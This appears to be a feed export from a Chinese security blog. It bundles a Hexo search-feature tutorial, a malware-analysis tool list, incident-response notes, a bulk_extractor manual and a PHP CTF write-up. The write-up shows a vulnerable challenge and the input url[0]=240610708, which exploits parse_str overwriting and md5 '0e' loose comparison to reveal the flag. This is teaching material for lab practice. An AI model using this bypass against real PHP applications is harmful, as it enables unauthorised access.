之前博客用的typecho的deep主题,还是挺喜欢的,只是感觉写文章就是稍微有点麻烦,每次都需要登录网站后台编写或发布,而且很多东西我都喜欢开源,分享知识也是,于是最近就尝试用hexo + github pages,用了这套组合才知道这简直太符合我这种懒癌,博客搭建配置好后,本地编写markdown文章之后直接hexo g 然后hexo d 就发布了,寻找很久的主题,后来看到P牛博客前端用的hexo的cactus-dark主题,顿时就喜欢上了,博客配置成功之后又装了一些必要的插件,然后对博客布局和样式代码进行一些修改,由于cactus-dark主题没有搜索功能,于是便尝试给添加搜索功能。

过程

至于hexo怎么搭建hexo + github pages博客网上一堆就不讲了,由于搜索功能是调用hexo-generator-search生成xml数据,所以需要安装hexo-generator-search插件:

1
$ npm install --save hexo-generator-search

然后为hexo博客的配置文件_config.yml添加插件配置(注意:不是主题的配置文件):

1
2
3
search:
path: search.xml
field: post

添加到search页面的导航:

1
2
3
4
5
6
7
nav:
Home: /
About: /about/
Link: /link/
Archives: /archives/
Projects: https://github.com/sunnyelf
Search: /search/

然后在themes\cactus-dark\layout文件夹下新建search.ejs文件,编写搜索框模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<section id="search">
<span class="h1"><a href="#">Search</a></span>
<form>
<div class="row">
<div class="col-xs-8 col-md-4">
<input type="text" class="search-input" id="search-input" placeholder="search...">
</div>
<div class="col-xs-4 col-md-2">
<button type="reset" class="reset-button" onclick="resetSearch()">reset</button>
</div>
</div>
</form>
<div id="search-result"></div>
<p class='no-result'>No results found</p>
</section>

由于上面用到了flexboxgrid的CSS框架,所以需要在C:\Users\Jing Ling\Documents\blog\themes\cactus-dark\layout\_partial\styles.ejs文件引入:

1
2
3
<% if (page.layout === 'search') { %>
<link href="https://cdn.bootcss.com/flexboxgrid/6.3.1/flexboxgrid.min.css" rel="stylesheet">
<% } %>

,之后\themes\cactus-dark\source\css\_partial新建search.styl文件,编写搜索框样式:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
.search-input
font-size: 0.875rem
height: 1.75rem
border-width: 1px
display: block
font-family: inherit
padding: 0.5rem
width: 100%
.reset-button
height: 1.75rem
color: #fff
background-color: #2bbc8a;
padding: 0 16px
font-size:.8em
border:1px solid #2bbc8a;
border-radius:2px;
font-family: inherit
font-weight: bold
#search-result ul.search-result-list {
list-style-type:none;
padding: 0px;
}
#search-result li {
margin: 2em auto;
border-bottom: 2px solid #2bbc8a;
}
#search-result .search-result-list li:hover {
color:#eee
}
#search-result a.search-result-title {
line-height: 1.2;
font-weight: bold;
color: #2bb48a;
}
#search-result p.search-result {
margin: 0.4em auto;
max-height: 13em;
overflow: hidden;
font-size: 0.8em;
text-align: justify;
}
#search-result em.search-keyword {
color: #f58e90;
border-bottom: 1px dashed #f58e90;
font-weight: bold;
font-size: 0.85em;
}
p.no-result {
display: none;
padding-bottom: 0.5em;
color: #eee;
border-bottom: 2px solid #2bbc8a;
}

为了调用编写的样式需要在\themes\cactus-dark\source\css\style.styl样式文件添加@import "_partial/search"引入。
之后便是编写search.js处理hexo-generator-search生成索引数据search.xml:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
// // A local search script with the help of [hexo-generator-search](https://github.com/PaicHyperionDev/hexo-generator-search)
// MIT License
// Copyright (C) 2015
// Joseph Pan <https://github.com/wzpan>
// Shuhao Mao <https://github.com/maoshuhao>
// MOxFIVE <https://github.com/MOxFIVE>
// Jing Ling <https://github.com/sunnyelf>
var searchFunc = function (path, search_id, content_id) {
'use strict';
$.ajax({
url: path,
dataType: "xml",
success: function (xmlResponse) {
// get the contents from search data
var datas = $("entry", xmlResponse).map(function () {
return {
title: $("title", this).text(),
content: $("content", this).text(),
url: $("url", this).text()
};
}).get();
var $input = document.getElementById(search_id);
var $resultContent = document.getElementById(content_id);
$input.addEventListener('input', function () {
var str = '<ul class=\"search-result-list\">';
var keywords = this.value.trim().toLowerCase().split(/[\s\-]+/);
$resultContent.innerHTML = "";
if (this.value.trim().length <= 0) {
return;
}
// perform local searching
datas.forEach(function (data) {
var isMatch = true;
var content_index = [];
var data_title = data.title.trim().toLowerCase();
var data_content = data.content.trim().replace(/<[^>]+>/g, "").toLowerCase();
var data_url = data.url;
var index_title = -1;
var index_content = -1;
var first_occur = -1;
// only match artiles with not empty titles and contents
if (data_title != '' && data_content != '') {
keywords.forEach(function (keyword, i) {
index_title = data_title.indexOf(keyword);
index_content = data_content.indexOf(keyword);
if (index_title < 0 && index_content < 0) {
isMatch = false;
} else {
if (index_content < 0) {
index_content = 0;
}
if (i == 0) {
first_occur = index_content;
}
}
});
}
// show search results
if (isMatch) {
str += "<li><a href='" + data_url + "' class='search-result-title' target='_blank'>" + "> " + data_title + "</a>";
var content = data.content.trim().replace(/<[^>]+>/g, "");
if (first_occur >= 0) {
// cut out characters
var start = first_occur - 6;
var end = first_occur + 6;
if (start < 0) {
start = 0;
}
if (start == 0) {
end = 10;
}
if (end > content.length) {
end = content.length;
}
var match_content = content.substr(start, end);
// highlight all keywords
keywords.forEach(function (keyword) {
var regS = new RegExp(keyword, "gi");
match_content = match_content.replace(regS, "<em class=\"search-keyword\">" + keyword + "</em>");
})
str += "<p class=\"search-result\">" + match_content + "...</p>"
}
}
})
$resultContent.innerHTML = str;
})
}
})
}
var inputArea = document.querySelector("#search-input");
var $resultArea = $("#search-result");
inputArea.onfocus = function () {
var path = "/search.xml";
searchFunc(path, 'search-input', 'search-result');
}
inputArea.onkeydown = function () {
if (event.keyCode == 13) {
return false
}
}
resetSearch = function () {
$resultArea.html("");
$(".no-result").hide();
}
$resultArea.bind("DOMNodeRemoved DOMNodeInserted", function (e) {
if (!$(e.target).text()) {
$(".no-result").show(200);
} else {
$(".no-result").hide();
}
})

将search.js放入到\themes\cactus-dark\source\js文件夹下,为了调用js需要在\themes\cactus-dark\layout\_partial\scripts.ejs添加引入:

1
2
3
<% if (page.layout === 'search') { %>
<%- js('js/search.js') %>
<% } %>

使用hexo命令新建search页面,hexo new page search,会生成\source\search\index.md,在index.md添加yaml标记,表示此页面渲染使用search模板:

1
2
3
---
layout: search
---

最后依此使用hexo generatehexo server命令,访问http://localhost:4000/search/便可以进行搜索了。

后话

如果你不想折腾话,我已将添加了搜索功能pull到了cactus-dark,你可以根据cactus-dark的说明直接开始使用。

]]>
<h1 id="前言"><a href="#前言" class="headerlink" title="前言"></a>前言</h1><p>之前博客用的typecho的deep主题,还是挺喜欢的,只是感觉写文章就是稍微有点麻烦,每次都需要登录网站后台编写或发布,而且很多东西我都喜
超赞的恶意软件分析 https://hackfun.org/2017/10/03/超赞的恶意软件分析/ 2017-10-03T05:50:18.000Z 2017-10-03T05:56:13.743Z 超赞的恶意软件分析

超赞的恶意软件分析

清单列举了一些超赞的恶意软件分析工具和资源。


恶意软件集合

匿名代理

对于分析人员的 Web 流量匿名方案

  • Anonymouse.org - 一个免费、基于 Web 的匿名代理
  • OpenVPN - VPN 软件和托管解决方案
  • Privoxy - 一个带有隐私保护功能的开源代理服务器
  • Tor - 洋葱路由器,为了在浏览网页时不留下客户端 IP 地址

蜜罐

捕获和收集你自己的样本

  • Conpot - ICS/SCADA 蜜罐
  • Cowrie - 基于 Kippo 的 SSH 蜜罐
  • Dionaea - 用来捕获恶意软件的蜜罐
  • Glastopf - Web 应用蜜罐
  • Honeyd - 创建一个虚拟蜜罐
  • HoneyDrive - 蜜罐包的 Linux 发行版
  • Mnemosyne - 受 Dinoaea 支持的蜜罐数据标准化
  • Thug - 用来调查恶意网站的低交互蜜罐

恶意软件样本库

收集用于分析的恶意软件样本

开源威胁情报

工具

收集、分析 IOC 信息

其他资源

威胁情报和 IOC 资源

检测与分类

反病毒和其他恶意软件识别工具

  • AnalyzePE - Windows PE 文件的分析器
  • chkrootkit - 本地 Linux rootkit 检测
  • ClamAV - 开源反病毒引擎
  • Detect-It-Easy - 用于确定文件类型的程序
  • ExifTool - 读、写、编辑文件的元数据
  • File Scanning Framework - 模块化的递归文件扫描解决方案
  • hashdeep - 用各种算法计算哈希值
  • Loki - 基于主机的 IOC 扫描器
  • Malfunction - 在功能层面对恶意软件进行分类和比较
  • MASTIFF - 静态分析框架
  • MultiScanner - 模块化文件扫描/分析框架
  • nsrllookup - 查询 NIST’s National Software Reference Library 数据库中哈希的工具
  • packerid - 跨平台的 PEiD 的替代品
  • PEV - 为正确分析可疑的二进制文件提供功能丰富工具的 PE 文件多平台分析工具集
  • Rootkit Hunter - 检测 Linux 的 rootkits
  • ssdeep - 计算模糊哈希值
  • totalhash.py - 一个简单搜索TotalHash.com 数据库的 Python 脚本
  • TrID - 文件识别
  • YARA - 分析师利用的模式识别工具
  • Yara rules generator - 基于恶意样本生成 yara 规则,也包含避免误报的字符串数据库

在线扫描与沙盒

基于 Web 的多反病毒引擎扫描器和恶意软件自动分析的沙盒

  • APK Analyzer - APK 免费动态分析
  • AndroTotal - 利用多个移动反病毒软件进行免费在线分析 App
  • AVCaesar - Malware.lu 在线扫描器和恶意软件集合
  • Cryptam - 分析可疑的 Office 文档
  • Cuckoo Sandbox - 开源、自主的沙盒和自动分析系统
  • cuckoo-modified - GPL 许可证的 Cuckoo 沙盒的修改版,由于法律原因作者没有将其分支合并
  • cuckoo-modified-api - 用于控制 cuckoo-modified 沙盒的 Python API
  • DeepViz - 通过机器学习分类来分析的多格式文件分析器
  • detux - 一个用于对 Linux 恶意软件流量分析与 IOC 信息捕获的沙盒
  • Document Analyzer - DOC 和 PDF 文件的免费动态分析
  • DRAKVUF - 动态恶意软件分析系统
  • File Analyzer - 免费 PE 文件动态分析
  • firmware.re - 解包、扫描、分析绝大多数固件包
  • Hybrid Analysis - 由 VxSandbox 支持的在线恶意软件分析工具
  • IRMA - 异步、可定制的可疑文件分析平台
  • Joe Sandbox - 深度恶意软件分析
  • Jotti - 免费在线多反病毒引擎扫描器
  • Limon - 分析 Linux 恶意软件的沙盒
  • Malheur - 恶意行为的自动化沙盒分析
  • Malware config - 从常见的恶意软件提取、解码和在线配置
  • Malwr - 免费的在线 Cuckoo 沙盒分析实例
  • MASTIFF Online - 在线恶意软件静态分析
  • Metadefender.com - 扫描文件、哈希或恶意软件的 IP 地址
  • NetworkTotal - 一个分析 pcap 文件的服务,使用配置了 EmergingThreats Pro 的Suricata 快速检测病毒、蠕虫、木马和各种恶意软件
  • Noriben - 使用 Sysinternals Procmon 收集恶意软件在沙盒环境下的进程信息
  • PDF Examiner - 收集可疑的 PDF 文件
  • ProcDot - 一个可视化恶意软件分析工具集
  • Recomposer - 安全上传二进制程序到沙盒网站的辅助脚本
  • Sand droid - 自动化、完整的 Android 应用程序分析系统
  • SEE - 在安全环境中构建测试自动化的框架
  • URL Analyzer - 对 URL 文件的动态分析
  • VirusTotal - 免费的在线恶意软件样本和 URL 分析
  • Visualize_Logs - 用于日志的开源可视化库和命令行工具(Cuckoo、Procmon 等)
  • Zeltser’s List - Lenny Zeltser 创建的免费自动沙盒服务

域名分析

检查域名和 IP 地址

  • Desenmascara.me - 一键点击即可得到尽可能多的检索元数据以评估一个网站的信誉度
  • Dig - 免费的在线 dig 以及其他网络工具
  • dnstwist - 用于检测钓鱼网站和公司间谍活动的域名排名网站
  • IPinfo - 通过搜索在线资源收集关于 IP 或 域名的信息
  • Machinae - 类似 Automator 的 OSINT 工具,用于收集有关 URL、IP 或哈希的信息
  • mailchecker - 跨语言临时邮件检测库
  • MaltegoVT - 让 Maltego 使用 VirusTotal API,允许搜索域名、IP 地址、文件哈希、报告
  • Multi rbl - 多个 DNS 黑名单,反向查找超过 300 个 RBL。
  • SenderBase - 搜索 IP、域名或网络的所有者
  • SpamCop - 垃圾邮件 IP 黑名单IP
  • SpamHaus - 基于域名和 IP 的黑名单
  • Sucuri SiteCheck - 免费的网站恶意软件与安全扫描器
  • TekDefense Automator - 收集关于 URL、IP 和哈希值的 OSINT 工具
  • URLQuery - 免费的 URL 扫描器
  • Whois - DomainTools 家免费的 whois 搜索
  • Zeltser’s List - 由 Lenny Zeltser 整理的免费在线恶意软件工具集
  • ZScalar Zulu - Zulu URL 风险分析

浏览器恶意软件

分析恶意 URL,也可以参考 domain analysisdocuments and shellcode 部分

  • Firebug - Firefox Web 开发扩展
  • Java Decompiler - 反编译并检查 Java 的应用
  • Java IDX Parser - 解析 Java IDX 缓存文件
  • JSDetox - JavaScript 恶意软件分析工具
  • jsunpack-n - 一个 javascript 解压软件,可以模拟浏览器功能
  • Krakatau - Java 的反编译器、汇编器与反汇编器
  • Malzilla - 分析恶意 Web 页面
  • RABCDAsm - 一个健壮的 ActionScript 字节码反汇编
  • swftools - PDF 转换成 SWF 的工具
  • xxxswf - 分析 Flash 文件的 Python 脚本

文档和 Shellcode

在 PDF、Office 文档中分析恶意 JS 和 Shellcode,也可参考browser malware 部分

  • AnalyzePDF - 分析 PDF 并尝试判断其是否是恶意文件的工具
  • box-js - 用于研究 JavaScript 恶意软件的工具,支持 JScript/WScript 和 ActiveX 仿真功能
  • diStorm - 分析恶意 Shellcode 的反汇编器
  • JS Beautifier - JavaScript 脱壳和去混淆
  • JS Deobfuscator - 对那些使用 eval 或 document.write 的简单 Javascript 去混淆
  • libemu - x86 shellcode 仿真的库和工具
  • malpdfobj - 解构恶意 PDF 为 JSON 表示
  • OfficeMalScanner - 扫描 MS Office 文档中的恶意跟踪
  • olevba - 解析 OLE 和 OpenXML 文档,并提取有用信息的脚本
  • Origami PDF - 一个分析恶意 PDF 的工具
  • PDF Tools - Didier Stevens 开发的许多关于 PDF 的工具
  • PDF X-Ray Lite - PDF 分析工具,PDF X-RAY 的无后端版本
  • peepdf - 用来探索可能是恶意的 PDF 的 Python 工具
  • QuickSand - QuickSand 是一个紧凑的 C 框架,用于分析可疑的恶意软件文档,以识别不同编码流中的漏洞,并定位和提取嵌入的可执行文件
  • Spidermonkey - Mozilla 的 JavaScript 引擎,用来调试可疑 JS 代码

文件提取

从硬盘和内存镜像中提取文件

  • bulk_extractor - 快速文件提取工具
  • EVTXtract - 从原始二进制数据提取 Windows 事件日志文件
  • Foremost - 由 US Air Force 设计的文件提取工具
  • Hachoir - 处理二进制程序的 Python 库的集合
  • Scalpel - 另一个数据提取工具

去混淆

破解异或或其它代码混淆方法

  • Balbuzard - 去除混淆(XOR、ROL等)的恶意软件分析工具
  • de4dot - .NET 去混淆与脱壳
  • ex_pe_xoriheartxor - Alexander Hanel 开发的用于去除单字节异或编码的文件的两个工具
  • FLOSS - FireEye 实验室的混淆字符串求解工具,使用高级静态分析技术来自动去除恶意软件二进制文件中的字符串
  • NoMoreXOR - 通过频率分析来猜测一个 256 字节的异或密钥
  • PackerAttacker - Windows 恶意软件的通用隐藏代码提取程序
  • unpacker - 基于 WinAppDbg 的自动 Windows 恶意软件脱壳器
  • unxor - 通过已知明文攻击来猜测一个异或密钥
  • VirtualDeobfuscator - 虚拟逆向分析工具
  • XORBruteForcer - 爆破单字节异或密钥的 Python 脚本
  • XORSearch 和 XORStrings - Didier Stevens 开发的用于寻找异或混淆后数据的两个工具
  • xortool - 猜测异或密钥和密钥的长度

调试和逆向工程

反编译器、调试器和其他静态、动态分析工具

  • angr - UCSB 的安全实验室开发的跨平台二进制分析框架
  • bamfdetect - 识别和提取奇迹人和其他恶意软件的信息
  • BAP - CMU 的安全实验室开发的跨平台开源二进制分析框架
  • BARF - 跨平台、开源二进制分析逆向框架
  • binnavi - 基于图形可视化的二进制分析 IDE
  • Binwalk - 固件分析工具
  • Bokken - Pyew 和 Radare 的界面版
  • Capstone - 二进制分析反汇编框架,支持多种架构和许多语言
  • codebro - 使用 clang 提供基础代码分析的 Web 端代码浏览器
  • dnSpy - .NET 编辑器、编译器、调试器
  • Evan’s Debugger (EDB) - Qt GUI 程序的模块化调试器
  • Fibratus - 探索、跟踪 Windows 内核的工具
  • FPort - 实时查看系统中打开的 TCP/IP 和 UDP 端口,并映射到应用程序
  • GDB - GNU 调试器
  • GEF - 针对开发人员和逆向工程师的 GDB 增强版
  • hackers-grep - 用来搜索 PE 程序中的导入表、导出表、字符串、调试符号
  • IDA Pro - Windows 反汇编和调试器,有免费评估版
  • Immunity Debugger - 带有 Python API 的恶意软件调试器
  • ltrace - Linux 可执行文件的动态分析
  • objdump - GNU 工具集的一部分,面向 Linux 二进制程序的静态分析
  • OllyDbg - Windows 可执行程序汇编级调试器
  • PANDA - 动态分析平台
  • PEDA - 基于 GDB 的 Pythton Exploit 开发辅助工具,增强显示及增强的命令
  • pestudio - Windows 可执行程序的静态分析
  • plasma - 面向 x86/ARM/MIPS 的交互式反汇编器
  • PPEE (puppy) - 专业的 PE 文件资源管理器
  • Process Explorer - 高级 Windows 任务管理器
  • Process Monitor - Windows 下高级程序监控工具
  • PSTools - 可以帮助管理员实时管理系统的 Windows 命令行工具
  • Pyew - 恶意软件分析的 Python 工具
  • Radare2 - 带有调试器支持的逆向工程框架
  • RetDec - 可重定向的机器码反编译器,同时有在线反编译服务和 API
  • ROPMEMU - 分析、解析、反编译复杂的代码重用攻击的框架
  • SMRT - Sublime 3 中辅助恶意软件分析的插件
  • strace - Linux 可执行文件的动态分析
  • Triton - 一个动态二进制分析框架
  • Udis86 - x86 和 x86_64 的反汇编库和工具
  • Vivisect - 恶意软件分析的 Python 工具
  • X64dbg - Windows 的一个开源 x64/x32 调试器

网络

分析网络交互

  • Bro - 支持惊人规模的文件和网络协议的协议分析工具
  • BroYara - 基于 Bro 的 Yara 规则集
  • CapTipper - 恶意 HTTP 流量管理器
  • chopshop - 协议分析和解码框架
  • Fiddler - 专为 Web 调试开发的 Web 代理
  • Hale - 僵尸网络 C&C 监视器
  • Haka - 一个安全导向的开源语言,用于在实时流量捕获时描述协议、应用安全策略
  • INetSim - 网络服务模拟。建设一个恶意软件分析实验室十分有用
  • Laika BOSS - Laika BOSS 是一种以文件为中心的恶意软件分析和入侵检测系统
  • Malcom - 恶意软件通信分析仪
  • Maltrail - 一个恶意流量检测系统,利用公开的黑名单来检测恶意和可疑的通信流量,带有一个报告和分析界面
  • mitmproxy - 拦截网络流量通信
  • Moloch - IPv4 流量捕获,带有索引和数据库系统
  • NetworkMiner - 有免费版本的网络取证分析工具
  • ngrep - 像 grep 一样收集网络流量
  • PcapViz - 网络拓扑与流量可视化
  • Tcpdump - 收集网络流
  • tcpick - 从网络流量中重构 TCP 流
  • tcpxtract - 从网络流量中提取文件
  • Wireshark - 网络流量分析工具

内存取证

在内存映像或正在运行的系统中分析恶意软件的工具

  • BlackLight - 支持 hiberfil、pagefile 与原始内存分析的 Windows / MacOS 取证客户端
  • DAMM - 基于 Volatility 的内存中恶意软件的差异分析
  • evolve - 用于 Volatility Memory 取证框架的 Web 界面
  • FindAES - 在内存中寻找 AES 加密密钥
  • Muninn - 一个使用 Volatility 的自动化分析脚本,可以生成一份可读报告
  • Rekall - 内存分析框架,2013 年 Volatility 的分支版本
  • TotalRecall - 基于 Volatility 自动执行多恶意样本分析任务的脚本
  • VolDiff - 在恶意软件执行前后,在内存映像中运行 Volatility 并生成对比报告
  • Volatility - 先进的内存取证框架
  • VolUtility - Volatility 内存分析框架的 Web 接口
  • WinDbg - Windows 系统的实时内存检查和内核调试工具

Windows平台神器

存储和工作流

  • Aleph - 开源恶意软件分析管道系统
  • CRITs - 关于威胁、恶意软件的合作研究
  • Malwarehouse - 存储、标注与搜索恶意软件
  • Polichombr - 一个恶意软件分析平台,旨在帮助分析师逆向恶意软件。
  • stoQ - 分布式内容分析框架,具有广泛的插件支持
  • Viper - 分析人员的二进制管理和分析框架

杂项

  • al-khaser - 一个旨在突出反恶意软件系统的 PoC 恶意软件
  • Binarly - 海量恶意软件字节的搜索引擎
  • DC3-MWCP - 反网络犯罪中心的恶意软件配置解析框架
  • MalSploitBase - 包含恶意软件利用的漏洞的数据库
  • Malware Museum - 收集 20 世纪八九十年代流行的恶意软件
  • Pafish - Paranoid Fish,与恶意软件家族的行为一致,采用多种技术来检测沙盒和分析环境的演示工具
  • REMnux - 面向恶意软件逆向工程师和分析人员的 Linux 发行版和 Docker 镜像
  • Santoku Linux - 移动取证的 Linux 发行版

资源

书籍

基础恶意软件分析阅读书单

Twitter

一些相关的 Twitter 账户

其它

相关清单

贡献

欢迎提出问题或者 Pull requests!请在提交 Pull request 之前阅读 CONTRIBUTING

致谢

这个列表需要感谢如下一些人:

  • Lenny Zeltser 和 REMnux 的其他开发者贡献了这个列表中很多工具
  • Michail Hale Ligh、Steven Adair、Blake Hartstein 和 Mather Richard 著有 Malware Analyst’s Cookbook,这本书为这个列表的创建提供了很大的灵感
  • 每一个提交 Pull request 以及提出建议的人

十分感谢!

]]>
<p><img src="/2017/10/03/超赞的恶意软件分析/0.png" alt="超赞的恶意软件分析"></p><h1 id="超赞的恶意软件分析"><a href="#超赞的恶意软件分析" class="headerlink" title="超赞的恶意软件分析"><
应急响应笔记 https://hackfun.org/2017/10/03/应急响应笔记/ 2017-10-03T05:43:49.000Z 2017-10-03T05:55:24.793Z 应急响应笔记

定义

应急响应服务是指为了应对各种意外事件的发生所做的准备以及在事件发生后所采取的措施的服务。例如:系统被入侵、重要信息被窃取、系统拒绝服务、网络流量异常等。

目标

采取紧急措施和行动,恢复业务到正常状态;调查安全事件发生的原因,避免同类事件再次发生;在需要司法机关介入时,提供法律认可的数字证据。

要求

应急响应是一项需要充分准备并严密组织的工作,开展调查工作的过程中,要避免不正确的步骤或者遗漏重要步骤对系统产生新的影响。这就需要掌握一定的追踪能力、沟通能力的专业安全人员参与。安全厂商常年研究安全技术、实时跟踪安全动态,对分析和解决各类安全事件有成熟的技术手段和丰富的经验,能为其客户提供可靠的技术服务支持。每一次的应急响应客户不仅仅只是需要一个简单的应急和服务的可用性,更重要的是对黑客行为的全面分析,以资产为核心来分析黑客思维,尽可能明白整个事件的前因后果以及后续的安全排查加固等措施。

流程

从业务流程方式可以分为调查,评估,抑制,分析,恢复以及报告的流程。

心得

1.在开始接触应急业务之前一定要向客户询问详细事件的发生情况,比如事件发生时间(点或段),事件造成的实际破坏,客户的具体需求和要求。
2.根据了解情况先做攻击性质预判,迅速找出关键排查点,尽快恢复业务正常化,在实施过程中注意规范操作。

应急响应笔记

3.通过对事件的定性以及取证后有选择的先分析重点内容,基本思路:

应急响应笔记

4.先定性,在定向,后全量分析,对应排查工具:

应急响应笔记

参考

应急响应小总结

]]>
<p><img src="/2017/10/03/应急响应笔记/0.png" alt="应急响应笔记"></p><h1 id="定义"><a href="#定义" class="headerlink" title="定义"></a>定义</h1><p>应急响应服务是指为了应对各种
PHP CTF tricks parse_str and loose comparison https://hackfun.org/2017/09/29/PHP-CTF-tricks-parse-str-and-loose-comparison/ 2017-09-29T15:31:11.000Z 2017-10-03T05:57:28.833Z 0x00 题目
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
<meta charset="utf-8">
<?php
error_reporting(0);
if (empty($_GET['str'])) {
show_source(__FILE__);
die();
}else{
include('flag.php');
$url = "www.hackfun.org";
$str = $_GET['str'];
@parse_str($str);
if ($url[0] != 'QNKCDZO' && md5($url[0]) == md5('QNKCDZO')) {
echo $flag;
}else{
exit('Try angain :-)');
}
}
?>

0x01 解题

要得到flag首先要使if ($url[0] != 'QNKCDZO' && md5($url[0]) == md5('QNKCDZO'))成立,也就是$url[0] != 'QNKCDZO'md5($url[0]) == md5('QNKCDZO')都成立,如果str正常传入情况下,$url[0]的值是’w’,满足第一个条件$url[0] != 'QNKCDZO',但是不满足md5($url[0]) == md5('QNKCDZO'),但是代码中写了@parse_str($str);,而parse_str()函数会把参数字符串当做php变量解析,也就是如果str传入的是url[0]=hello,那么就会解析成一个数组url,且数组url的第一个值为hello,此时$url[0] != 'QNKCDZO'成立,md5($url[0]) == md5('QNKCDZO')不成立,但是至少$url[0]的值可控了,仔细研究md5($url[0]) == md5('QNKCDZO'),可以发现md5('QNKCDZO')的值为字符型的’0e830400451993494058024219903391’,但是根据PHP手册的描述:如果比较一个数字和字符串或者比较涉及到数字内容的字符串,则字符串会被转换为数值并且比较按照数值来进行。其中0e是科学计数法,因为涉及到数字内容,所以就会转换为数值,而’0e830400451993494058024219903391’转换为数值也就是0*(10^830400451993494058024219903391) = 0,所以我们只需要使url[0]的MD5值为类似0e开头后面全为数字的字符串就可以让md5($url[0]) == md5('QNKCDZO')成立,通过搜索发现很多字符串都满足条件,具体满足条件的列表可看。

我们选取240610708作为url[0]的值,也就是使str传入的值为url[0]=240610708,此时$url[0] != 'QNKCDZO'成立,且md5($url[0]) == md5('QNKCDZO')也成立:

flag

]]>
<h2 id="0x00-题目"><a href="#0x00-题目" class="headerlink" title="0x00 题目"></a>0x00 题目</h2><figure class="highlight php"><table><tr><td class="g
Kali Linux取证分析之bulk-extractor https://hackfun.org/2017/09/07/Kali-Linux取证分析之bulk-extractor/ 2017-09-07T01:22:00.000Z 2017-10-02T19:22:31.964Z 0x00 介绍

bulk_extractor是从数字证据文件中提取诸如电子邮件地址,信用卡号,URL和其他类型的信息的功能的程序。 它是一个有用的取证调查工具,可以用于许多任务,如恶意软件和入侵调查,身份调查和网络调查,以及图像分析和密码破解。 该程序提供了几个不寻常的功能:

1.发现其他工具发现不了的信息,如电子邮件地址,URL和信用卡号码,得益于它能处理压缩数据(如ZIP,PDF和GZIP文件)以及不完整或部分损坏的数据。 它可以从压缩数据的片段中提取JPEG文件,办公文档和其他类型的文件 ,还可以自动检测并提取加密的RAR文件。2.根据数据中发现的所有单词构建单词列表,甚至可以是在未分配空间的压缩文件中的数据。 这些单词列表可用于密码破解。3.多线程的; 速度快节约时间4.分析完之后创建直方图,显示电子邮件地址,URL,域名,搜索关键词和其他类型的信息。

bulk_extractor可以对磁盘映像,文件或文件目录进行分析,并在不分析文件系统或文件系统结构的情况下提取有用的信息。 输入被分割成页面并由一个或多个扫描器处理。 结果存储在特征文件中,可以使用其他自动化工具轻松检查,解析或处理。
bulk_extractor还创建了它所发现的特征的直方图。 这样非常有用,因为诸如电子邮件地址和网络搜索关键词的功能往往很常见且重要。
除了上述功能之外,bulk_extractor还包括以下功能:

5.具有浏览特征文件中存储的功能以及启动bulk_extractor扫描的图形用户界面的Bulk Extractor Viewer6.少量用于对特征文件进行额外分析的python程序

来源:http://digitalcorpora.org/downloads/bulk_extractor/BEUsersManual.pdf
主页 | 仓库

  • 作者:Simson L. Garfinkel
  • 证书:GPLv2

0x01 功能

bulk_extractor - 在不解析文件系统的情况下提取信息。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
bulk_extractor version 1.6.0-dev
用法:bulk_extractor [选项] 文件
运行bulk_extractor并提取摘要信息并输出到文件
必需参数:
imagefile - 要提取的文件
或者-R filedir - 遍历目录下的文件
支持E01文件
支持AFF文件
-o outdir - 指定输出目录,目录不得已存在
bulk_extractor将创建此目录
选项:
-i - 信息模式。快速分析随机取样的样本并打印报告
-b banner.txt - 将banner.txt内容添加到每个输出文件的头部
-r alert_list.txt - 包含提醒作业的警报列表的文件
(可以是特征文件或全局列表)
(可以重复)
-w stop_list.txt - 包含功能停止列表的文件(白名单)
(可以是特征文件或全局列表)
(可以重复)
-F <rfile> - 从<rfile>读取正则表达式列表以查找
-f <regex> - 查找出现的<regex>;可能重复。
结果存入find.txt
-q nn - 静默的模式;只输出nn级别的状态报告。默认值0; -1,没有状态输出
-s frac [:passes] - 设置随机抽样参数
调整参数:
-C NN - 指定上下文窗口的大小(默认值为16)
-S fr:<name>:window = NN - 指定录像机到NN的上下文窗口
-S fr:<name>:window_before = NN - 指定之前的上下文窗口到NN为记录器
-S fr:<name>:window_after = NN - 指定后缀到NN后的上下文窗口
-G NN - 指定页面大小(默认16777216)
-g NN - 指定余量(默认4194304)
-j NN - 要运行的分析线程数(默认4)
-M nn - 设置最大递归深度(默认7)
-m <max> - 所有数据读取后等待的最大分钟数(默认60)
路径处理模式:
-p <path> / f - 以给定的格式打印<path>的值。
格式:r = 源格式; h = 十六进制格式。
指定-p - 进行交互模式
指定-p -http为HTTP模式
并行化:
-Y <o1> - 在o1开始处理(o1可以是1,1K,1M或1G)
-Y <o1> - <o2> - 处理o1-o2
-A <off> - 将<off>添加到所有报告的特征偏移
调试:
-h - 打印此消息
-H - 打印扫描仪的详细信息
-V - 打印版本号
-z nn - 从第nn页开始
-dN - 调试模式(参见源代码)
-Z - 清除输出目录
扫描控制:
-P <dir> - 指定一个插件目录
默认目录包括/usr/local/lib/bulk_extractor,/usr/lib/bulk_extractor和
BE_PATH环境变量
-e <scanner> 启用扫描器 - -e all 全部启用
-x <scanner> 禁用扫描器 - -x all 全部禁用
-E <scanner> - 关闭除指定扫描器以外的所有扫描器
(与-x all -e <scanner>效果一样)
注意:-e,-x和-E命令按顺序执行
例如:'-E gzip -e facebook'只运行gzip和facebook
